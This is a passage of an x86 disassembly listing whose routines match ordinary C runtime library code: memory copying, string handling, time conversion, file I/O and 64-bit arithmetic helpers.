loc_41D46C:				; CODE XREF: sub_41D300+35j
					; sub_41D300+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41D480:				; CODE XREF: sub_41D300+35j
					; sub_41D300+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D498:				; CODE XREF: sub_41D300+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41D4CC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41D4C0
		std
		rep movsd
		cld
		jmp	off_41D5E0[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41D4C0:				; CODE XREF: sub_41D300+1B1j
					; sub_41D300+208j ...
		neg	ecx
		jmp	off_41D590[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41D4CC:				; CODE XREF: sub_41D300+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41D4E4
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41D4E4+4[eax*4]
; ---------------------------------------------------------------------------


loc_41D4E4:				; CODE XREF: sub_41D300+1D6j
					; DATA XREF: sub_41D300+1DDr
		jmp	off_41D5E0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		clc
		aam	41h
		add	[eax], bl
		aad	41h
		add	[eax-2Bh], al
		inc	ecx
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41D4C0
		std
		rep movsd
		cld
		jmp	off_41D5E0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41D4C0
		std
		rep movsd
		cld
		jmp	off_41D5E0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41D4C0
		std
		rep movsd
		cld
		jmp	off_41D5E0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41D594
		dd offset loc_41D59C
		dd offset loc_41D5A4
		dd offset loc_41D5AC
		dd offset loc_41D5B4
		dd offset loc_41D5BC
		dd offset loc_41D5C4
off_41D590	dd offset loc_41D5D7	; DATA XREF: sub_41D300+1C2r
; ---------------------------------------------------------------------------


loc_41D594:				; DATA XREF: sub_41D300+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41D59C:				; DATA XREF: sub_41D300+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_41D5A4:				; DATA XREF: sub_41D300+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41D5AC:				; DATA XREF: sub_41D300+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_41D5B4:				; DATA XREF: sub_41D300+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41D5BC:				; DATA XREF: sub_41D300+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_41D5C4:				; DATA XREF: sub_41D300+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41D5D7:				; CODE XREF: sub_41D300+1C2j
					; DATA XREF: sub_41D300:off_41D590o
		jmp	off_41D5E0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41D5E0	dd offset loc_41D5F0	; DATA XREF: sub_41D300+1B7r
					; sub_41D300:loc_41D4E4r ...
		dd offset loc_41D5F8
		dd offset loc_41D608
		dd offset loc_41D61C
; ---------------------------------------------------------------------------


loc_41D5F0:				; CODE XREF: sub_41D300+1B7j
					; sub_41D300:loc_41D4E4j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D5F8:				; CODE XREF: sub_41D300+1B7j
					; sub_41D300:loc_41D4E4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D608:				; CODE XREF: sub_41D300+1B7j
					; sub_41D300:loc_41D4E4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D61C:				; CODE XREF: sub_41D300+1B7j
					; sub_41D300:loc_41D4E4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41D300	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D635	proc near		; CODE XREF: sub_40D947+34p
					; sub_40D947+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_41BB57
		pop	ecx
		pop	ecx
		retn
sub_41D635	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D643	proc near		; CODE XREF: sub_41D6B0+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_4DFC7C
		call	sub_422CA8
		mov	edx, dword_4DFC7C
		pop	ecx
		mov	ecx, dword_4DFC78
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_41D6A2
		push	edx
		call	sub_422CA8
		add	eax, 10h
		push	eax
		push	dword_4DFC7C
		call	sub_41B872
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41D685
		retn
; ---------------------------------------------------------------------------


loc_41D685:				; CODE XREF: sub_41D643+3Fj
		mov	ecx, dword_4DFC78
		sub	ecx, dword_4DFC7C
		mov	dword_4DFC7C, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_4DFC78, ecx


loc_41D6A2:				; CODE XREF: sub_41D643+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	dword_4DFC78, 4
		retn
sub_41D643	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D6B0	proc near		; CODE XREF: sub_40DA34+1Ap

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41D643
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_41D6B0	endp

; ---------------------------------------------------------------------------
		push	80h
		call	sub_41BB45
		test	eax, eax
		pop	ecx
		mov	dword_4DFC7C, eax
		jnz	short loc_41D6E3
		push	18h
		call	sub_41E0C9
		mov	eax, dword_4DFC7C
		pop	ecx


loc_41D6E3:				; CODE XREF: .XPack0:0041D6D4j
		and	dword ptr [eax], 0
		mov	eax, dword_4DFC7C
		mov	dword_4DFC78, eax
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41D6F1	proc near		; CODE XREF: sub_40DA56+7Ap
					; sub_40DA56+8Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, eax
		cmp	word ptr [eax],	0
		jz	short loc_41D705


loc_41D6FD:				; CODE XREF: sub_41D6F1+12j
		inc	ecx
		inc	ecx
		cmp	word ptr [ecx],	0
		jnz	short loc_41D6FD


loc_41D705:				; CODE XREF: sub_41D6F1+Aj
		mov	edx, [esp+arg_4]
		push	esi


loc_41D70A:				; CODE XREF: sub_41D6F1+26j
		mov	si, [edx]
		mov	[ecx], si
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	si, si
		jnz	short loc_41D70A
		pop	esi
		retn
sub_41D6F1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D71B	proc near		; CODE XREF: sub_40EA40+1A3p

var_CC		= byte ptr -0CCh
var_32		= word ptr -32h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_428144	; GetLocalTime
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_4281B0	; GetSystemTime
		mov	ax, [ebp+var_16]
		cmp	ax, word_4DE632
		jnz	short loc_41D780
		mov	ax, [ebp+var_18]
		cmp	ax, word_4DE630
		jnz	short loc_41D780
		mov	ax, [ebp+var_1A]
		cmp	ax, word_4DE62E
		jnz	short loc_41D780
		mov	ax, [ebp+var_1E]
		cmp	ax, word_4DE62A
		jnz	short loc_41D780
		mov	ax, [ebp+var_20]
		cmp	ax, word_4DE628
		jnz	short loc_41D780
		mov	eax, dword_4DE620
		jmp	short loc_41D7C5
; ---------------------------------------------------------------------------


loc_41D780:				; CODE XREF: sub_41D71B+28j
					; sub_41D71B+35j ...
		lea	eax, [ebp+var_CC]
		push	eax
		call	dword_4281AC	; GetTimeZoneInformation
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D7AD
		cmp	eax, 2
		jnz	short loc_41D7A9
		cmp	[ebp+var_32], 0
		jz	short loc_41D7A9
		cmp	[ebp+var_24], 0
		jz	short loc_41D7A9
		push	1
		pop	eax
		jmp	short loc_41D7B0
; ---------------------------------------------------------------------------


loc_41D7A9:				; CODE XREF: sub_41D71B+7Aj
					; sub_41D71B+81j ...
		xor	eax, eax
		jmp	short loc_41D7B0
; ---------------------------------------------------------------------------


loc_41D7AD:				; CODE XREF: sub_41D71B+75j
		or	eax, 0FFFFFFFFh


loc_41D7B0:				; CODE XREF: sub_41D71B+8Cj
					; sub_41D71B+90j
		push	esi
		push	edi
		lea	esi, [ebp+var_20]
		mov	edi, offset word_4DE628
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	dword_4DE620, eax
		pop	esi


loc_41D7C5:				; CODE XREF: sub_41D71B+63j
		push	eax
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		call	sub_422D09
		mov	ecx, [ebp+arg_0]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_41D7F5
		mov	[ecx], eax

locret_41D7F5:				; CODE XREF: sub_41D71B+D6j
		leave
		retn
sub_41D71B	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D800	proc near		; CODE XREF: sub_40EA40+19p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		lea	eax, dword_4DE67C
		cmp	dword ptr [eax+8], 0
		jnz	short loc_41D853
		mov	al, 0FFh
		mov	edi, edi


loc_41D81C:				; CODE XREF: sub_41D800+28j
					; sub_41D800+48j
		or	al, al
		jz	short loc_41D84E
		mov	al, [esi]
		inc	esi
		mov	ah, [edi]
		inc	edi
		cmp	ah, al
		jz	short loc_41D81C
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		xchg	ah, al
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		cmp	al, ah
		jz	short loc_41D81C
		sbb	al, al
		sbb	al, 0FFh


loc_41D84E:				; CODE XREF: sub_41D800+1Ej
		movsx	eax, al
		jmp	short loc_41D887
; ---------------------------------------------------------------------------


loc_41D853:				; CODE XREF: sub_41D800+16j
		mov	eax, 0FFh
		xor	ebx, ebx
		mov	edi, edi


loc_41D85C:				; CODE XREF: sub_41D800+68j
					; sub_41D800+80j
		or	al, al
		jz	short loc_41D887
		mov	al, [esi]
		inc	esi
		mov	bl, [edi]
		inc	edi
		cmp	al, bl
		jz	short loc_41D85C
		push	eax
		push	ebx
		call	sub_41DDEC
		mov	ebx, eax
		add	esp, 4
		call	sub_41DDEC
		add	esp, 4
		cmp	bl, al
		jz	short loc_41D85C
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41D887:				; CODE XREF: sub_41D800+51j
					; sub_41D800+5Ej
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41D800	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D88C	proc near		; CODE XREF: sub_412407+26Ep
					; sub_412407+35Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41D908
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_41D8AB
		cmp	edi, 1
		jz	short loc_41D8AB
		cmp	edi, 2
		jnz	short loc_41D908


loc_41D8AB:				; CODE XREF: sub_41D88C+13j
					; sub_41D88C+18j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_41D8C2
		push	esi
		call	sub_422E65
		add	[esp+0Ch+arg_4], eax
		pop	ecx
		xor	edi, edi


loc_41D8C2:				; CODE XREF: sub_41D88C+27j
		push	esi
		call	sub_41E22B
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_41D8D7
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_41D8EB
; ---------------------------------------------------------------------------


loc_41D8D7:				; CODE XREF: sub_41D88C+42j
		test	al, 1
		jz	short loc_41D8EB
		test	al, 8
		jz	short loc_41D8EB
		test	ah, 4
		jnz	short loc_41D8EB
		mov	dword ptr [esi+18h], 200h


loc_41D8EB:				; CODE XREF: sub_41D88C+49j
					; sub_41D88C+4Dj ...
		push	edi
		push	[esp+0Ch+arg_4]
		push	dword ptr [esi+10h]
		call	sub_422DCB
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_41D915
; ---------------------------------------------------------------------------


loc_41D908:				; CODE XREF: sub_41D88C+Bj
					; sub_41D88C+1Dj
		mov	dword_4DE5C4, 16h
		or	eax, 0FFFFFFFFh


loc_41D915:				; CODE XREF: sub_41D88C+7Aj
		pop	edi
		pop	esi
		retn
sub_41D88C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D920	proc near		; CODE XREF: sub_4138D3+19Ep
					; sub_414628+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_41D939
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_41D939:				; CODE XREF: sub_41D920+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_41D920	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D954	proc near		; CODE XREF: sub_416770+127p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_41D978
		xor	eax, eax
		jmp	loc_41DA45
; ---------------------------------------------------------------------------


loc_41D978:				; CODE XREF: sub_41D954+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41D98B
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41D992
; ---------------------------------------------------------------------------


loc_41D98B:				; CODE XREF: sub_41D954+2Dj
		mov	[ebp+arg_C], 1000h


loc_41D992:				; CODE XREF: sub_41D954+35j
					; sub_41D954+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_41D9C6
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41D9C6
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_41D9AC
		mov	edi, eax


loc_41D9AC:				; CODE XREF: sub_41D954+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	near ptr sub_41C9B0
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_41DA0C
; ---------------------------------------------------------------------------


loc_41D9C6:				; CODE XREF: sub_41D954+47j
					; sub_41D954+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_41DA11
		test	ecx, ecx
		jz	short loc_41D9DA
		push	esi
		call	sub_41E22B
		test	eax, eax
		pop	ecx
		jnz	short loc_41DA53


loc_41D9DA:				; CODE XREF: sub_41D954+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_41D9ED
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_41D9EF
; ---------------------------------------------------------------------------


loc_41D9ED:				; CODE XREF: sub_41D954+8Aj
		mov	edi, ebx


loc_41D9EF:				; CODE XREF: sub_41D954+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_422FBD
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41DA4A
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_41DA4A


loc_41DA0C:				; CODE XREF: sub_41D954+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_41DA3A
; ---------------------------------------------------------------------------


loc_41DA11:				; CODE XREF: sub_41D954+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_41FC2A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DA53
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_41DA3A
		mov	[ebp+arg_C], 1


loc_41DA3A:				; CODE XREF: sub_41D954+BBj
					; sub_41D954+DDj
		test	ebx, ebx
		jnz	loc_41D992
		mov	eax, [ebp+arg_8]


loc_41DA45:				; CODE XREF: sub_41D954+1Fj
					; sub_41D954+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41DA4A:				; CODE XREF: sub_41D954+ADj
					; sub_41D954+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_41DA55
; ---------------------------------------------------------------------------


loc_41DA53:				; CODE XREF: sub_41D954+84j
					; sub_41D954+CFj
		mov	eax, edi


loc_41DA55:				; CODE XREF: sub_41D954+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_41DA45
sub_41D954	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DA5E	proc near		; CODE XREF: sub_416EA7+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		call	dword_4280A0	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41DA7E
		call	dword_428094	; RtlGetLastWin32Error
		push	eax
		call	sub_420A7F
		pop	ecx


loc_41DA7A:				; CODE XREF: sub_41DA5E+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41DA7E:				; CODE XREF: sub_41DA5E+Dj
		test	al, 1
		jz	short loc_41DA9F
		test	[esp+arg_4], 2
		jz	short loc_41DA9F
		mov	dword_4DE5C4, 0Dh
		mov	dword_4DE5C8, 5
		jmp	short loc_41DA7A
; ---------------------------------------------------------------------------


loc_41DA9F:				; CODE XREF: sub_41DA5E+22j
					; sub_41DA5E+29j
		xor	eax, eax
		retn
sub_41DA5E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DAB0	proc near		; CODE XREF: sub_416EC1+3Fp
					; sub_41AFEB+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_41DAD2
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41DB13
; ---------------------------------------------------------------------------


loc_41DAD2:				; CODE XREF: sub_41DAB0+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_41DAE0:				; CODE XREF: sub_41DAB0+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41DAE0
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41DB0E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_41DB0E
		jb	short loc_41DB0F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_41DB0F


loc_41DB0E:				; CODE XREF: sub_41DAB0+4Ej
					; sub_41DAB0+54j
		dec	esi


loc_41DB0F:				; CODE XREF: sub_41DAB0+56j
					; sub_41DAB0+5Cj
		xor	edx, edx
		mov	eax, esi


loc_41DB13:				; CODE XREF: sub_41DAB0+20j
		pop	esi
		pop	ebx
		retn	10h
sub_41DAB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DB20	proc near		; CODE XREF: sub_416EC1+2Dp
					; sub_41AFEB+3Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_41DB41
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_41DB91
; ---------------------------------------------------------------------------


loc_41DB41:				; CODE XREF: sub_41DB20+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_41DB4F:				; CODE XREF: sub_41DB20+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41DB4F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41DB7A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41DB7A
		jb	short loc_41DB82
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_41DB82


loc_41DB7A:				; CODE XREF: sub_41DB20+4Aj
					; sub_41DB20+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_41DB82:				; CODE XREF: sub_41DB20+52j
					; sub_41DB20+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41DB91:				; CODE XREF: sub_41DB20+1Fj
		pop	ebx
		retn	10h
sub_41DB20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DBA0	proc near		; CODE XREF: sub_416FD0+5Fp
					; sub_416FD0+90p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_41DBC1
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_41DBC1:				; CODE XREF: sub_41DBA0+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41DBDD
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_41DBDD:				; CODE XREF: sub_41DBA0+27j
		or	eax, eax
		jnz	short loc_41DBF9
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41DC3A
; ---------------------------------------------------------------------------


loc_41DBF9:				; CODE XREF: sub_41DBA0+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_41DC07:				; CODE XREF: sub_41DBA0+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_41DC07
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41DC35
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_41DC35
		jb	short loc_41DC36
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_41DC36


loc_41DC35:				; CODE XREF: sub_41DBA0+85j
					; sub_41DBA0+8Bj
		dec	esi


loc_41DC36:				; CODE XREF: sub_41DBA0+8Dj
					; sub_41DBA0+93j
		xor	edx, edx
		mov	eax, esi


loc_41DC3A:				; CODE XREF: sub_41DBA0+57j
		dec	edi
		jnz	short loc_41DC44
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41DC44:				; CODE XREF: sub_41DBA0+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_41DBA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DC4A	proc near		; CODE XREF: sub_41767C+BFp
					; sub_41767C+12Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4DE684
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_41DC7E
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		cmp	[eax], bl
		jz	short loc_41DCE5


loc_41DC66:				; CODE XREF: sub_41DC4A+30j
		mov	cl, [edx]
		cmp	cl, 61h
		jl	short loc_41DC77
		cmp	cl, 7Ah
		jg	short loc_41DC77
		sub	cl, 20h
		mov	[edx], cl


loc_41DC77:				; CODE XREF: sub_41DC4A+21j
					; sub_41DC4A+26j
		inc	edx
		cmp	[edx], bl
		jnz	short loc_41DC66
		jmp	short loc_41DCE5
; ---------------------------------------------------------------------------


loc_41DC7E:				; CODE XREF: sub_41DC4A+11j
		push	esi
		push	edi
		push	1
		push	ebx
		push	ebx
		push	ebx
		push	0FFFFFFFFh
		mov	esi, 200h
		push	[ebp+arg_0]
		push	esi
		push	eax
		call	sub_42316A
		mov	edi, eax
		add	esp, 20h
		cmp	edi, ebx
		jz	short loc_41DCD7
		push	edi
		call	sub_41BB45
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_41DCD7
		push	1
		push	ebx
		push	edi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	dword_4DE684
		call	sub_42316A
		add	esp, 20h
		test	eax, eax
		jz	short loc_41DCD7
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_41C520
		pop	ecx
		pop	ecx


loc_41DCD7:				; CODE XREF: sub_41DC4A+53j
